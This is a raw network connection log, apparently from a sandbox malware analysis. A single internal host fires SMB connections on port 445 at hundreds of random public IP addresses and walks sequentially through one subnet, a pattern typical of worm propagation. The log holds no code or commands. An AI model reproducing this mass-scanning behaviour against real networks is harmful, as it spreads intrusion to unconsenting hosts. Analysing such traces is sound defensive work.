Dec 22, 2022 10:04:26.868976116 CET	50967	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:27.004381895 CET	445	50967	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:27.005711079 CET	50967	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:27.148278952 CET	445	50967	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:27.149286032 CET	50967	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:27.288372040 CET	445	50967	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:27.288537979 CET	50967	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:27.397767067 CET	50998	445	192.168.2.6	85.181.247.213
Dec 22, 2022 10:04:27.398000956 CET	51000	445	192.168.2.6	117.119.114.8
Dec 22, 2022 10:04:27.569308043 CET	51001	445	192.168.2.6	134.235.77.212
Dec 22, 2022 10:04:27.569475889 CET	51002	445	192.168.2.6	62.149.93.170
Dec 22, 2022 10:04:27.569713116 CET	51003	445	192.168.2.6	207.179.6.218
Dec 22, 2022 10:04:27.569891930 CET	51004	445	192.168.2.6	210.207.171.109
Dec 22, 2022 10:04:27.569986105 CET	51005	445	192.168.2.6	168.206.18.85
Dec 22, 2022 10:04:27.570101976 CET	51007	445	192.168.2.6	68.21.245.62
Dec 22, 2022 10:04:27.570173979 CET	51008	445	192.168.2.6	221.17.166.89
Dec 22, 2022 10:04:27.570182085 CET	51006	445	192.168.2.6	61.123.64.101
Dec 22, 2022 10:04:27.570274115 CET	51009	445	192.168.2.6	117.195.30.28
Dec 22, 2022 10:04:27.570319891 CET	51010	445	192.168.2.6	121.48.69.14
Dec 22, 2022 10:04:27.570400000 CET	51011	445	192.168.2.6	132.39.93.227
Dec 22, 2022 10:04:27.570463896 CET	51012	445	192.168.2.6	25.143.16.8
Dec 22, 2022 10:04:27.570498943 CET	51013	445	192.168.2.6	175.244.105.173
Dec 22, 2022 10:04:27.570560932 CET	51014	445	192.168.2.6	38.252.198.95
Dec 22, 2022 10:04:27.578964949 CET	51015	445	192.168.2.6	67.208.56.90
Dec 22, 2022 10:04:27.579150915 CET	51016	445	192.168.2.6	28.136.109.170
Dec 22, 2022 10:04:27.579250097 CET	51017	445	192.168.2.6	41.241.192.29
Dec 22, 2022 10:04:27.579266071 CET	51018	445	192.168.2.6	175.75.52.172
Dec 22, 2022 10:04:27.579323053 CET	51019	445	192.168.2.6	183.50.215.153
Dec 22, 2022 10:04:27.579365969 CET	51020	445	192.168.2.6	72.3.149.90
Dec 22, 2022 10:04:27.585807085 CET	51021	445	192.168.2.6	57.173.133.174
Dec 22, 2022 10:04:27.585896969 CET	51022	445	192.168.2.6	123.179.231.136
Dec 22, 2022 10:04:27.585917950 CET	51023	445	192.168.2.6	158.251.126.34
Dec 22, 2022 10:04:27.586033106 CET	51024	445	192.168.2.6	198.106.227.219
Dec 22, 2022 10:04:27.586074114 CET	51025	445	192.168.2.6	130.22.124.138
Dec 22, 2022 10:04:27.586215973 CET	51027	445	192.168.2.6	218.102.254.87
Dec 22, 2022 10:04:27.586251020 CET	51026	445	192.168.2.6	177.65.131.204
Dec 22, 2022 10:04:27.586366892 CET	51028	445	192.168.2.6	59.21.52.95
Dec 22, 2022 10:04:27.586409092 CET	51029	445	192.168.2.6	48.51.148.90
Dec 22, 2022 10:04:27.867639065 CET	445	51006	61.123.64.101	192.168.2.6
Dec 22, 2022 10:04:28.459641933 CET	51006	445	192.168.2.6	61.123.64.101
Dec 22, 2022 10:04:28.522488117 CET	51031	445	192.168.2.6	128.248.219.107
Dec 22, 2022 10:04:28.523000002 CET	51033	445	192.168.2.6	198.5.156.107
Dec 22, 2022 10:04:28.679527044 CET	51034	445	192.168.2.6	202.251.146.227
Dec 22, 2022 10:04:28.679631948 CET	51035	445	192.168.2.6	17.16.78.127
Dec 22, 2022 10:04:28.679738998 CET	51036	445	192.168.2.6	114.213.92.173
Dec 22, 2022 10:04:28.679828882 CET	51037	445	192.168.2.6	161.244.3.218
Dec 22, 2022 10:04:28.679903984 CET	51038	445	192.168.2.6	209.155.226.181
Dec 22, 2022 10:04:28.680022001 CET	51039	445	192.168.2.6	30.167.95.151
Dec 22, 2022 10:04:28.680191994 CET	51040	445	192.168.2.6	21.185.70.172
Dec 22, 2022 10:04:28.680231094 CET	51041	445	192.168.2.6	79.128.193.46
Dec 22, 2022 10:04:28.680341959 CET	51042	445	192.168.2.6	170.188.208.219
Dec 22, 2022 10:04:28.680402040 CET	51043	445	192.168.2.6	185.146.224.215
Dec 22, 2022 10:04:28.680470943 CET	51044	445	192.168.2.6	174.30.88.194
Dec 22, 2022 10:04:28.680565119 CET	51045	445	192.168.2.6	103.6.216.35
Dec 22, 2022 10:04:28.680670977 CET	51046	445	192.168.2.6	101.111.42.71
Dec 22, 2022 10:04:28.684540987 CET	51047	445	192.168.2.6	200.156.79.120
Dec 22, 2022 10:04:28.686402082 CET	51048	445	192.168.2.6	82.114.56.55
Dec 22, 2022 10:04:28.686460972 CET	51049	445	192.168.2.6	219.186.170.125
Dec 22, 2022 10:04:28.686469078 CET	51050	445	192.168.2.6	199.113.147.35
Dec 22, 2022 10:04:28.686532974 CET	51051	445	192.168.2.6	124.166.74.254
Dec 22, 2022 10:04:28.686566114 CET	51052	445	192.168.2.6	2.100.97.218
Dec 22, 2022 10:04:28.686628103 CET	51053	445	192.168.2.6	94.31.84.214
Dec 22, 2022 10:04:28.695432901 CET	51054	445	192.168.2.6	13.158.17.100
Dec 22, 2022 10:04:28.695705891 CET	51055	445	192.168.2.6	162.117.102.86
Dec 22, 2022 10:04:28.695863962 CET	51056	445	192.168.2.6	154.89.17.42
Dec 22, 2022 10:04:28.696003914 CET	51057	445	192.168.2.6	108.232.231.30
Dec 22, 2022 10:04:28.696259975 CET	51058	445	192.168.2.6	198.73.221.8
Dec 22, 2022 10:04:28.696501017 CET	51059	445	192.168.2.6	204.111.64.240
Dec 22, 2022 10:04:28.696630955 CET	51060	445	192.168.2.6	93.1.54.229
Dec 22, 2022 10:04:28.696762085 CET	51061	445	192.168.2.6	221.49.244.218
Dec 22, 2022 10:04:28.696907043 CET	51062	445	192.168.2.6	92.207.139.103
Dec 22, 2022 10:04:28.757464886 CET	445	51006	61.123.64.101	192.168.2.6
Dec 22, 2022 10:04:29.632983923 CET	51065	445	192.168.2.6	71.29.123.103
Dec 22, 2022 10:04:29.633383989 CET	51067	445	192.168.2.6	85.102.72.231
Dec 22, 2022 10:04:29.792017937 CET	51068	445	192.168.2.6	128.14.65.12
Dec 22, 2022 10:04:29.792207003 CET	51069	445	192.168.2.6	205.169.248.251
Dec 22, 2022 10:04:29.792290926 CET	51070	445	192.168.2.6	131.153.156.161
Dec 22, 2022 10:04:29.792356014 CET	51071	445	192.168.2.6	198.90.83.85
Dec 22, 2022 10:04:29.792455912 CET	51072	445	192.168.2.6	193.140.156.140
Dec 22, 2022 10:04:29.792475939 CET	51073	445	192.168.2.6	33.169.54.139
Dec 22, 2022 10:04:29.792587042 CET	51074	445	192.168.2.6	143.234.237.136
Dec 22, 2022 10:04:29.792649031 CET	51075	445	192.168.2.6	171.37.125.6
Dec 22, 2022 10:04:29.792687893 CET	51076	445	192.168.2.6	175.243.200.78
Dec 22, 2022 10:04:29.792810917 CET	51077	445	192.168.2.6	205.86.17.150
Dec 22, 2022 10:04:29.792948961 CET	51078	445	192.168.2.6	142.246.148.90
Dec 22, 2022 10:04:29.793119907 CET	51079	445	192.168.2.6	115.13.149.204
Dec 22, 2022 10:04:29.793246031 CET	51080	445	192.168.2.6	214.98.87.250
Dec 22, 2022 10:04:29.794795036 CET	51081	445	192.168.2.6	75.104.103.15
Dec 22, 2022 10:04:29.795696020 CET	51082	445	192.168.2.6	151.97.124.202
Dec 22, 2022 10:04:29.795852900 CET	51083	445	192.168.2.6	155.80.16.10
Dec 22, 2022 10:04:29.795860052 CET	51084	445	192.168.2.6	77.160.252.32
Dec 22, 2022 10:04:29.795932055 CET	51085	445	192.168.2.6	39.10.146.146
Dec 22, 2022 10:04:29.795933962 CET	51086	445	192.168.2.6	177.82.70.12
Dec 22, 2022 10:04:29.796010017 CET	51087	445	192.168.2.6	88.212.183.121
Dec 22, 2022 10:04:29.820523977 CET	51089	445	192.168.2.6	68.74.67.211
Dec 22, 2022 10:04:29.820667028 CET	51088	445	192.168.2.6	92.118.148.99
Dec 22, 2022 10:04:29.820667028 CET	51090	445	192.168.2.6	16.36.206.184
Dec 22, 2022 10:04:29.820723057 CET	51091	445	192.168.2.6	27.52.201.128
Dec 22, 2022 10:04:29.820812941 CET	51092	445	192.168.2.6	84.248.84.78
Dec 22, 2022 10:04:29.820921898 CET	51093	445	192.168.2.6	195.215.1.229
Dec 22, 2022 10:04:29.821057081 CET	51095	445	192.168.2.6	91.201.203.145
Dec 22, 2022 10:04:29.821108103 CET	51094	445	192.168.2.6	9.245.85.112
Dec 22, 2022 10:04:29.821182966 CET	51096	445	192.168.2.6	78.12.71.103
Dec 22, 2022 10:04:29.956094027 CET	445	51068	128.14.65.12	192.168.2.6
Dec 22, 2022 10:04:30.163064957 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.288805962 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.289304018 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.289447069 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.416866064 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.424824953 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.425009966 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.459842920 CET	51068	445	192.168.2.6	128.14.65.12
Dec 22, 2022 10:04:30.552886009 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.553026915 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.623837948 CET	445	51068	128.14.65.12	192.168.2.6
Dec 22, 2022 10:04:30.680893898 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.681070089 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.747618914 CET	51100	445	192.168.2.6	223.220.28.56
Dec 22, 2022 10:04:30.747869968 CET	51102	445	192.168.2.6	105.154.27.145
Dec 22, 2022 10:04:30.808789015 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.809001923 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.867641926 CET	51103	445	192.168.2.6	176.210.131.5
Dec 22, 2022 10:04:30.915553093 CET	51105	445	192.168.2.6	194.133.237.168
Dec 22, 2022 10:04:30.916347980 CET	51106	445	192.168.2.6	30.41.88.171
Dec 22, 2022 10:04:30.916992903 CET	51107	445	192.168.2.6	115.200.57.21
Dec 22, 2022 10:04:30.917927980 CET	51108	445	192.168.2.6	170.116.193.6
Dec 22, 2022 10:04:30.918466091 CET	51109	445	192.168.2.6	16.209.200.174
Dec 22, 2022 10:04:30.918764114 CET	51110	445	192.168.2.6	1.56.172.76
Dec 22, 2022 10:04:30.918952942 CET	51111	445	192.168.2.6	157.204.157.75
Dec 22, 2022 10:04:30.919235945 CET	51112	445	192.168.2.6	74.190.156.134
Dec 22, 2022 10:04:30.919367075 CET	51113	445	192.168.2.6	113.233.185.86
Dec 22, 2022 10:04:30.919572115 CET	51114	445	192.168.2.6	91.145.77.153
Dec 22, 2022 10:04:30.919735909 CET	51115	445	192.168.2.6	137.27.167.62
Dec 22, 2022 10:04:30.920027971 CET	51116	445	192.168.2.6	39.126.17.47
Dec 22, 2022 10:04:30.920228958 CET	51117	445	192.168.2.6	73.21.105.23
Dec 22, 2022 10:04:30.920452118 CET	51118	445	192.168.2.6	47.52.44.155
Dec 22, 2022 10:04:30.920619011 CET	51119	445	192.168.2.6	79.167.68.131
Dec 22, 2022 10:04:30.920834064 CET	51120	445	192.168.2.6	11.95.154.120
Dec 22, 2022 10:04:30.920983076 CET	51121	445	192.168.2.6	223.101.59.185
Dec 22, 2022 10:04:30.921196938 CET	51122	445	192.168.2.6	75.212.201.169
Dec 22, 2022 10:04:30.921869993 CET	51123	445	192.168.2.6	54.194.81.101
Dec 22, 2022 10:04:30.936826944 CET	445	51097	176.210.131.4	192.168.2.6
Dec 22, 2022 10:04:30.936933994 CET	51097	445	192.168.2.6	176.210.131.4
Dec 22, 2022 10:04:30.945219040 CET	51124	445	192.168.2.6	129.214.184.181
Dec 22, 2022 10:04:30.945421934 CET	51125	445	192.168.2.6	179.142.52.58
Dec 22, 2022 10:04:30.945764065 CET	51126	445	192.168.2.6	22.225.58.236
Dec 22, 2022 10:04:30.945910931 CET	51127	445	192.168.2.6	72.38.16.231
Dec 22, 2022 10:04:30.946018934 CET	51128	445	192.168.2.6	42.228.24.126
Dec 22, 2022 10:04:30.946130991 CET	51129	445	192.168.2.6	27.34.2.61
Dec 22, 2022 10:04:30.946228981 CET	51130	445	192.168.2.6	176.28.129.214
Dec 22, 2022 10:04:30.946336031 CET	51131	445	192.168.2.6	47.40.22.81
Dec 22, 2022 10:04:30.946440935 CET	51132	445	192.168.2.6	167.156.250.116
Dec 22, 2022 10:04:31.883645058 CET	51136	445	192.168.2.6	54.141.137.10
Dec 22, 2022 10:04:31.883889914 CET	51137	445	192.168.2.6	195.232.137.55
Dec 22, 2022 10:04:31.946353912 CET	51139	445	192.168.2.6	176.210.131.6
Dec 22, 2022 10:04:32.039846897 CET	51140	445	192.168.2.6	179.73.229.245
Dec 22, 2022 10:04:32.040750027 CET	51141	445	192.168.2.6	132.158.244.245
Dec 22, 2022 10:04:32.041446924 CET	51142	445	192.168.2.6	115.22.212.222
Dec 22, 2022 10:04:32.042319059 CET	51143	445	192.168.2.6	130.182.152.213
Dec 22, 2022 10:04:32.043129921 CET	51144	445	192.168.2.6	177.233.17.61
Dec 22, 2022 10:04:32.044044018 CET	51145	445	192.168.2.6	156.99.132.185
Dec 22, 2022 10:04:32.044363976 CET	51146	445	192.168.2.6	13.193.171.107
Dec 22, 2022 10:04:32.044608116 CET	51147	445	192.168.2.6	164.178.79.43
Dec 22, 2022 10:04:32.044893980 CET	51148	445	192.168.2.6	7.108.50.107
Dec 22, 2022 10:04:32.045043945 CET	51149	445	192.168.2.6	68.130.68.53
Dec 22, 2022 10:04:32.045219898 CET	51150	445	192.168.2.6	170.122.147.161
Dec 22, 2022 10:04:32.045317888 CET	51151	445	192.168.2.6	4.16.95.162
Dec 22, 2022 10:04:32.045448065 CET	51152	445	192.168.2.6	37.219.192.182
Dec 22, 2022 10:04:32.045731068 CET	51153	445	192.168.2.6	43.52.95.82
Dec 22, 2022 10:04:32.045875072 CET	51154	445	192.168.2.6	22.132.178.142
Dec 22, 2022 10:04:32.046017885 CET	51155	445	192.168.2.6	124.110.117.114
Dec 22, 2022 10:04:32.046204090 CET	51156	445	192.168.2.6	106.59.31.40
Dec 22, 2022 10:04:32.046386957 CET	51157	445	192.168.2.6	30.112.12.1
Dec 22, 2022 10:04:32.047113895 CET	51158	445	192.168.2.6	173.236.21.95
Dec 22, 2022 10:04:32.047317028 CET	51159	445	192.168.2.6	67.250.148.247
Dec 22, 2022 10:04:32.053961039 CET	51160	445	192.168.2.6	94.138.13.198
Dec 22, 2022 10:04:32.054063082 CET	51161	445	192.168.2.6	223.219.11.195
Dec 22, 2022 10:04:32.054294109 CET	51162	445	192.168.2.6	107.172.106.182
Dec 22, 2022 10:04:32.054518938 CET	51163	445	192.168.2.6	98.224.152.81
Dec 22, 2022 10:04:32.054685116 CET	51164	445	192.168.2.6	110.69.159.197
Dec 22, 2022 10:04:32.054810047 CET	51165	445	192.168.2.6	209.178.120.244
Dec 22, 2022 10:04:32.054972887 CET	51166	445	192.168.2.6	161.45.199.245
Dec 22, 2022 10:04:32.055279970 CET	51167	445	192.168.2.6	147.59.84.125
Dec 22, 2022 10:04:32.055519104 CET	51168	445	192.168.2.6	57.62.62.180
Dec 22, 2022 10:04:32.991417885 CET	51172	445	192.168.2.6	65.82.1.216
Dec 22, 2022 10:04:32.991520882 CET	51173	445	192.168.2.6	84.9.76.16
Dec 22, 2022 10:04:33.022974014 CET	51175	445	192.168.2.6	176.210.131.7
Dec 22, 2022 10:04:33.163369894 CET	51176	445	192.168.2.6	78.191.192.25
Dec 22, 2022 10:04:33.163690090 CET	51177	445	192.168.2.6	70.34.213.71
Dec 22, 2022 10:04:33.163839102 CET	51178	445	192.168.2.6	159.89.88.149
Dec 22, 2022 10:04:33.163964987 CET	51179	445	192.168.2.6	112.136.1.114
Dec 22, 2022 10:04:33.164077044 CET	51180	445	192.168.2.6	104.62.182.8
Dec 22, 2022 10:04:33.164159060 CET	51181	445	192.168.2.6	115.223.102.228
Dec 22, 2022 10:04:33.164385080 CET	51182	445	192.168.2.6	54.63.50.251
Dec 22, 2022 10:04:33.164582968 CET	51183	445	192.168.2.6	149.202.214.209
Dec 22, 2022 10:04:33.164730072 CET	51184	445	192.168.2.6	112.71.109.235
Dec 22, 2022 10:04:33.165304899 CET	51185	445	192.168.2.6	98.88.165.16
Dec 22, 2022 10:04:33.165780067 CET	51186	445	192.168.2.6	1.243.100.35
Dec 22, 2022 10:04:33.166645050 CET	51187	445	192.168.2.6	92.171.46.201
Dec 22, 2022 10:04:33.167171001 CET	51188	445	192.168.2.6	203.200.94.210
Dec 22, 2022 10:04:33.167835951 CET	51189	445	192.168.2.6	27.28.50.91
Dec 22, 2022 10:04:33.168374062 CET	51190	445	192.168.2.6	90.193.8.0
Dec 22, 2022 10:04:33.168550014 CET	51191	445	192.168.2.6	202.147.86.35
Dec 22, 2022 10:04:33.168725967 CET	51192	445	192.168.2.6	121.45.200.121
Dec 22, 2022 10:04:33.168880939 CET	51193	445	192.168.2.6	60.4.174.234
Dec 22, 2022 10:04:33.168914080 CET	51194	445	192.168.2.6	54.157.62.56
Dec 22, 2022 10:04:33.169018984 CET	51195	445	192.168.2.6	194.20.226.13
Dec 22, 2022 10:04:33.169111013 CET	51196	445	192.168.2.6	134.222.95.60
Dec 22, 2022 10:04:33.169198990 CET	51197	445	192.168.2.6	80.89.131.124
Dec 22, 2022 10:04:33.169424057 CET	51198	445	192.168.2.6	81.96.3.12
Dec 22, 2022 10:04:33.169524908 CET	51199	445	192.168.2.6	140.235.112.13
Dec 22, 2022 10:04:33.169624090 CET	51200	445	192.168.2.6	137.108.168.97
Dec 22, 2022 10:04:33.169732094 CET	51201	445	192.168.2.6	171.254.3.84
Dec 22, 2022 10:04:33.169955969 CET	51202	445	192.168.2.6	176.251.155.220
Dec 22, 2022 10:04:33.170416117 CET	51203	445	192.168.2.6	223.104.233.138
Dec 22, 2022 10:04:33.170650005 CET	51204	445	192.168.2.6	123.142.55.60
Dec 22, 2022 10:04:34.103086948 CET	51209	445	192.168.2.6	176.210.131.8
Dec 22, 2022 10:04:34.117494106 CET	51211	445	192.168.2.6	101.244.234.185
Dec 22, 2022 10:04:34.118457079 CET	51212	445	192.168.2.6	76.48.230.1
Dec 22, 2022 10:04:34.276179075 CET	51213	445	192.168.2.6	177.99.16.154
Dec 22, 2022 10:04:34.284806013 CET	51214	445	192.168.2.6	112.113.39.216
Dec 22, 2022 10:04:34.284970045 CET	51215	445	192.168.2.6	53.205.78.142
Dec 22, 2022 10:04:34.285047054 CET	51216	445	192.168.2.6	68.254.210.110
Dec 22, 2022 10:04:34.285156012 CET	51217	445	192.168.2.6	27.198.121.252
Dec 22, 2022 10:04:34.285231113 CET	51218	445	192.168.2.6	98.147.233.168
Dec 22, 2022 10:04:34.285341978 CET	51219	445	192.168.2.6	191.201.111.192
Dec 22, 2022 10:04:34.285505056 CET	51220	445	192.168.2.6	162.166.61.152
Dec 22, 2022 10:04:34.285588026 CET	51221	445	192.168.2.6	219.139.159.15
Dec 22, 2022 10:04:34.285669088 CET	51222	445	192.168.2.6	210.105.3.97
Dec 22, 2022 10:04:34.285895109 CET	51223	445	192.168.2.6	223.252.105.115
Dec 22, 2022 10:04:34.287008047 CET	51224	445	192.168.2.6	158.1.36.50
Dec 22, 2022 10:04:34.287174940 CET	51225	445	192.168.2.6	114.8.138.18
Dec 22, 2022 10:04:34.287369013 CET	51226	445	192.168.2.6	162.121.245.202
Dec 22, 2022 10:04:34.289505005 CET	51227	445	192.168.2.6	93.195.65.148
Dec 22, 2022 10:04:34.290251017 CET	51228	445	192.168.2.6	116.178.39.196
Dec 22, 2022 10:04:34.308340073 CET	51229	445	192.168.2.6	112.173.187.183
Dec 22, 2022 10:04:34.309161901 CET	51230	445	192.168.2.6	178.5.85.200
Dec 22, 2022 10:04:34.309334040 CET	51232	445	192.168.2.6	15.148.191.246
Dec 22, 2022 10:04:34.309351921 CET	51231	445	192.168.2.6	178.176.17.97
Dec 22, 2022 10:04:34.309495926 CET	51233	445	192.168.2.6	175.199.84.246
Dec 22, 2022 10:04:34.309669971 CET	51234	445	192.168.2.6	159.152.50.99
Dec 22, 2022 10:04:34.309741020 CET	51235	445	192.168.2.6	27.51.124.237
Dec 22, 2022 10:04:34.310014009 CET	51236	445	192.168.2.6	194.245.7.247
Dec 22, 2022 10:04:34.310157061 CET	51237	445	192.168.2.6	90.62.240.138
Dec 22, 2022 10:04:34.310297012 CET	51238	445	192.168.2.6	62.183.215.45
Dec 22, 2022 10:04:34.312232018 CET	51239	445	192.168.2.6	47.24.137.36
Dec 22, 2022 10:04:34.312472105 CET	51240	445	192.168.2.6	20.123.244.42
Dec 22, 2022 10:04:34.312553883 CET	51241	445	192.168.2.6	178.97.230.65
Dec 22, 2022 10:04:35.183319092 CET	51246	445	192.168.2.6	176.210.131.9
Dec 22, 2022 10:04:35.227618933 CET	51248	445	192.168.2.6	134.61.186.49
Dec 22, 2022 10:04:35.227822065 CET	51249	445	192.168.2.6	100.186.226.213
Dec 22, 2022 10:04:35.383630991 CET	51251	445	192.168.2.6	122.244.118.44
Dec 22, 2022 10:04:35.383765936 CET	51252	445	192.168.2.6	104.165.196.242
Dec 22, 2022 10:04:35.383877039 CET	51253	445	192.168.2.6	38.75.121.13
Dec 22, 2022 10:04:35.384305954 CET	51254	445	192.168.2.6	146.81.213.128
Dec 22, 2022 10:04:35.384421110 CET	51255	445	192.168.2.6	208.196.99.80
Dec 22, 2022 10:04:35.384521008 CET	51256	445	192.168.2.6	42.137.210.56
Dec 22, 2022 10:04:35.384603977 CET	51258	445	192.168.2.6	32.89.173.36
Dec 22, 2022 10:04:35.384690046 CET	51259	445	192.168.2.6	152.210.233.165
Dec 22, 2022 10:04:35.384723902 CET	51257	445	192.168.2.6	73.12.71.247
Dec 22, 2022 10:04:35.384933949 CET	51260	445	192.168.2.6	74.176.102.202
Dec 22, 2022 10:04:35.384998083 CET	51261	445	192.168.2.6	83.251.80.181
Dec 22, 2022 10:04:35.385158062 CET	51263	445	192.168.2.6	7.118.94.44
Dec 22, 2022 10:04:35.385158062 CET	51262	445	192.168.2.6	119.101.244.71
Dec 22, 2022 10:04:35.385256052 CET	51264	445	192.168.2.6	159.231.123.250
Dec 22, 2022 10:04:35.399133921 CET	51265	445	192.168.2.6	150.195.43.192
Dec 22, 2022 10:04:35.400057077 CET	51266	445	192.168.2.6	151.45.170.29
Dec 22, 2022 10:04:35.430798054 CET	51267	445	192.168.2.6	72.193.148.131
Dec 22, 2022 10:04:35.431034088 CET	51268	445	192.168.2.6	185.56.189.146
Dec 22, 2022 10:04:35.431035042 CET	51269	445	192.168.2.6	59.2.104.194
Dec 22, 2022 10:04:35.431142092 CET	51270	445	192.168.2.6	84.169.246.1
Dec 22, 2022 10:04:35.431253910 CET	51271	445	192.168.2.6	56.14.6.6
Dec 22, 2022 10:04:35.431412935 CET	51272	445	192.168.2.6	129.220.37.3
Dec 22, 2022 10:04:35.431680918 CET	51274	445	192.168.2.6	169.250.165.15
Dec 22, 2022 10:04:35.431710958 CET	51273	445	192.168.2.6	100.81.126.188
Dec 22, 2022 10:04:35.431900978 CET	51275	445	192.168.2.6	159.150.18.140
Dec 22, 2022 10:04:35.435177088 CET	51276	445	192.168.2.6	177.118.105.87
Dec 22, 2022 10:04:35.435395002 CET	51278	445	192.168.2.6	14.93.182.180
Dec 22, 2022 10:04:35.435456991 CET	51279	445	192.168.2.6	104.95.212.94
Dec 22, 2022 10:04:36.257931948 CET	51284	445	192.168.2.6	176.210.131.10
Dec 22, 2022 10:04:36.351227045 CET	51285	445	192.168.2.6	35.252.124.70
Dec 22, 2022 10:04:36.351388931 CET	51287	445	192.168.2.6	144.3.180.84
Dec 22, 2022 10:04:36.515197992 CET	51289	445	192.168.2.6	156.55.235.236
Dec 22, 2022 10:04:36.515383005 CET	51290	445	192.168.2.6	131.214.240.178
Dec 22, 2022 10:04:36.515499115 CET	51291	445	192.168.2.6	41.159.206.240
Dec 22, 2022 10:04:36.515697956 CET	51292	445	192.168.2.6	1.149.227.108
Dec 22, 2022 10:04:36.517066002 CET	51293	445	192.168.2.6	113.237.9.42
Dec 22, 2022 10:04:36.517246962 CET	51294	445	192.168.2.6	26.226.60.138
Dec 22, 2022 10:04:36.517436981 CET	51295	445	192.168.2.6	156.109.180.70
Dec 22, 2022 10:04:36.517582893 CET	51296	445	192.168.2.6	203.99.163.25
Dec 22, 2022 10:04:36.526171923 CET	51297	445	192.168.2.6	131.17.64.124
Dec 22, 2022 10:04:36.526624918 CET	51298	445	192.168.2.6	222.45.242.186
Dec 22, 2022 10:04:36.526761055 CET	51299	445	192.168.2.6	2.21.94.102
Dec 22, 2022 10:04:36.526799917 CET	51300	445	192.168.2.6	26.160.62.215
Dec 22, 2022 10:04:36.526987076 CET	51301	445	192.168.2.6	197.108.117.181
Dec 22, 2022 10:04:36.527056932 CET	51302	445	192.168.2.6	97.196.174.236
Dec 22, 2022 10:04:36.527831078 CET	51303	445	192.168.2.6	202.98.134.187
Dec 22, 2022 10:04:36.527905941 CET	51304	445	192.168.2.6	170.164.191.69
Dec 22, 2022 10:04:36.554816961 CET	51305	445	192.168.2.6	161.191.20.253
Dec 22, 2022 10:04:36.555783987 CET	51306	445	192.168.2.6	20.248.244.56
Dec 22, 2022 10:04:36.556677103 CET	51307	445	192.168.2.6	166.133.223.15
Dec 22, 2022 10:04:36.557300091 CET	51308	445	192.168.2.6	42.156.80.50
Dec 22, 2022 10:04:36.557593107 CET	51309	445	192.168.2.6	37.20.77.88
Dec 22, 2022 10:04:36.557689905 CET	51310	445	192.168.2.6	38.235.249.149
Dec 22, 2022 10:04:36.557773113 CET	51311	445	192.168.2.6	130.153.90.250
Dec 22, 2022 10:04:36.557857990 CET	51312	445	192.168.2.6	63.141.150.12
Dec 22, 2022 10:04:36.558026075 CET	51314	445	192.168.2.6	162.40.169.6
Dec 22, 2022 10:04:36.558026075 CET	51313	445	192.168.2.6	55.60.29.103
Dec 22, 2022 10:04:36.558202028 CET	51316	445	192.168.2.6	86.158.160.30
Dec 22, 2022 10:04:36.558305979 CET	51315	445	192.168.2.6	76.228.137.211
Dec 22, 2022 10:04:36.558324099 CET	51317	445	192.168.2.6	90.83.159.21
Dec 22, 2022 10:04:37.276182890 CET	49709	80	192.168.2.6	93.184.220.29
Dec 22, 2022 10:04:37.295550108 CET	80	49709	93.184.220.29	192.168.2.6
Dec 22, 2022 10:04:37.295641899 CET	49709	80	192.168.2.6	93.184.220.29
Dec 22, 2022 10:04:37.320673943 CET	51323	445	192.168.2.6	176.210.131.11
Dec 22, 2022 10:04:37.461023092 CET	51324	445	192.168.2.6	187.209.134.59
Dec 22, 2022 10:04:37.461298943 CET	51326	445	192.168.2.6	105.243.191.133
Dec 22, 2022 10:04:37.638179064 CET	51328	445	192.168.2.6	136.7.33.97
Dec 22, 2022 10:04:37.638427019 CET	51330	445	192.168.2.6	181.7.115.28
Dec 22, 2022 10:04:37.638510942 CET	51329	445	192.168.2.6	103.223.218.32
Dec 22, 2022 10:04:37.638668060 CET	51331	445	192.168.2.6	170.102.91.4
Dec 22, 2022 10:04:37.638709068 CET	51332	445	192.168.2.6	96.149.73.141
Dec 22, 2022 10:04:37.638822079 CET	51333	445	192.168.2.6	148.143.203.83
Dec 22, 2022 10:04:37.638864994 CET	51334	445	192.168.2.6	39.183.174.67
Dec 22, 2022 10:04:37.638935089 CET	51335	445	192.168.2.6	61.107.14.80
Dec 22, 2022 10:04:37.649513006 CET	51336	445	192.168.2.6	86.105.190.77
Dec 22, 2022 10:04:37.649738073 CET	51337	445	192.168.2.6	104.19.194.114
Dec 22, 2022 10:04:37.649849892 CET	51338	445	192.168.2.6	145.124.121.183
Dec 22, 2022 10:04:37.649975061 CET	51339	445	192.168.2.6	192.250.247.160
Dec 22, 2022 10:04:37.650090933 CET	51340	445	192.168.2.6	144.68.184.234
Dec 22, 2022 10:04:37.650186062 CET	51341	445	192.168.2.6	128.48.212.109
Dec 22, 2022 10:04:37.650991917 CET	51342	445	192.168.2.6	158.108.101.0
Dec 22, 2022 10:04:37.651058912 CET	51343	445	192.168.2.6	121.144.109.249
Dec 22, 2022 10:04:37.665599108 CET	51344	445	192.168.2.6	11.134.87.246
Dec 22, 2022 10:04:37.666280031 CET	51345	445	192.168.2.6	12.88.138.42
Dec 22, 2022 10:04:37.667073965 CET	51346	445	192.168.2.6	8.228.237.49
Dec 22, 2022 10:04:37.667872906 CET	51347	445	192.168.2.6	1.238.102.145
Dec 22, 2022 10:04:37.668057919 CET	51348	445	192.168.2.6	189.131.53.154
Dec 22, 2022 10:04:37.668380022 CET	51349	445	192.168.2.6	216.148.45.143
Dec 22, 2022 10:04:37.668399096 CET	51350	445	192.168.2.6	97.27.149.77
